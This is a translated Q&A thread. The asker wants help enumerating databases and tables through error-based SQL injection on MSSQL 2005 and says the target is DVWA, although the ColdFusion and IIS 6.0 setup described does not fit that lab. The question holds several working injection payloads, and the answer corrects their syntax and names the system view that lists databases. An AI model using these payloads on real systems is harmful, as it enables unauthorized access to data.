0

我又带着另一个关于 dvwa 的问题回来了,这次我升级到了 MsSQL 2005,我还有另外一组问题。我不明白几件事。我希望某个善良的人对我说清楚。

所以基本上,像往常一样 - 我的目标是从 DVWA 获取所有数据库,并使用手动注入技术升级到管理面板。

到目前为止,我拥有的是数据库,但我对语法的变化感到有些困惑。我要求服务器获取数据库,它返回给我第一个数据库。我的查询如下:

+
and+1=
    convert
    (
       int,db_name()
    )
--

我的第一个问题是 - 我如何编辑此查询以便能够查看所有数据库,因为据我所知,此查询仅删除 SQL 数据中的第一个数据库。好的,我的第二个问题是,当我使用以下查询查找表时,删除的第一个数据库是“信息”:

+
and+1=
    convert
    ( 
       int,
       (
          select+top+1+table_name+from+information_schema.tables
       )
    )
--

它返回了该数据库的第一个表。首先,假设我拥有的不仅仅是第一个数据库,我如何更改此查询以获取该数据库名称的表。其次,它返回的表是 tbl_info_id。

请注意,服务器在 Coldfusion 上运行 IIS 6.0。据我所知,要从该数据库请求下一个表,我必须创建一个查询,例如:

+
and+1=
    convert
    (
       int,
       (
          select+top+1+table_name+from+
              information_schema.tables+where+table_name+not+in('tbl_info_id')
       )
    )
--

当我写它时,服务器怎么会响应:

[SQLServer]Incorrect syntax near 'tbl_info_id'.

就是这样,如果有人可以向我解释这一切,将不胜感激!干杯。

4

1 回答 1

0

这有两个问题:

convert
(
   int,
   (
      select+top+1+table_name+from+
          information_schema.tables+where+table_name+not+in('tbl_info_id')
   )
)

第一个是加号。用单个空格替换它们。

第二个是您试图将非数字字符串转换为整数。那不会计算。

关于逻辑,您的散文说您想要数据库名称,但您的代码正在寻找表名。如果您想要数据库名称,请执行以下操作:

select name
from sys.databases
于 2014-02-10T17:14:41.607 回答